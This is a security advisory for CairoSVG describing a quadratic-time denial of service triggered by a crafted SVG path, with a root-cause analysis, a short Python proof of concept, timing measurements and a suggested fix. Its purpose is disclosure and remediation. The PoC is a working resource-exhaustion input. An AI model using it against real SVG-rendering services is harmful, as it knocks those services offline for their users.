GHSA-c3jg-qh8m-j3h2
CairoSVG: Quadratic-time DoS parsing a crafted SVG <path>
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
Rendering an untrusted SVG whose `<path d="...">` contains many segments is O(n²) CPU. A single `<path>` under 1 MiB burns tens of seconds. Two independent O(n²) sites in `cairosvg/path.py`:
1. **Tokenizer** — the path-data parser consumes the `d` string with a `while string:` loop that repeatedly slices/re-scans the *remaining* string (each step is O(len remaining)), giving O(n²) over the whole attribute.
2. **draw_markers** — marker handling drains `node.vertices` with `while node.vertices: ... node.vertices.pop(0)`; `list.pop(0)` is O(n), so draining n vertices is O(n²).
Both are hit on a normal render path (`svg2png`/`svg2pdf`), attacker controls only the SVG document.
## PoC (installed cairosvg 2.9.0)
```python
import cairosvg
d = "M0 0 " + "L1 1 " * 100000
svg = f'<svg xmlns="http://www.w3.org/2000/svg" width="10" height="10"><path d="{d}"/></svg>'
cairosvg.svg2png(bytestring=svg.encode()) # ~4.4 s for a 488 KB doc
```
| path segments | SVG size | time |
|---|---|---|
| 50,000 | 244 KB | 1.14 s |
| 100,000 | 488 KB | 4.36 s |
| 200,000 | ~960 KB | ~18 s |
Doubling segments ≈ 4× time ⇒ quadratic. Sub-MiB input ⇒ ~18 s CPU; any service rendering user-supplied SVG (thumbnails, avatars, PDF export) is a DoS target.
## Reachability
Public API `svg2png` / `svg2pdf` / `svg2ps` on an untrusted SVG string.
## Suggested fix
Tokenize with a single forward scan / index (or `re.finditer`) instead of re-slicing the remainder; drain `vertices` with an index or `collections.deque.popleft` instead of `list.pop(0)`. Optionally cap path-segment count.
References
External links from the advisory. They lead to third-party sites.
- https://github.com/Kozea/CairoSVG/security/advisories/GHSA-c3jg-qh8m-j3h2
- https://nvd.nist.gov/vuln/detail/CVE-2026-107378
- https://github.com/Kozea/CairoSVG/commit/9d63f049f9988d0ddda3eb94564ac3a50a286523
- https://github.com/Kozea/CairoSVG/commit/a4d585eb374724b79676e9cceaa9e9a1a4358565
- https://github.com/Kozea/CairoSVG
- https://github.com/Kozea/CairoSVG/releases/tag/2.9.1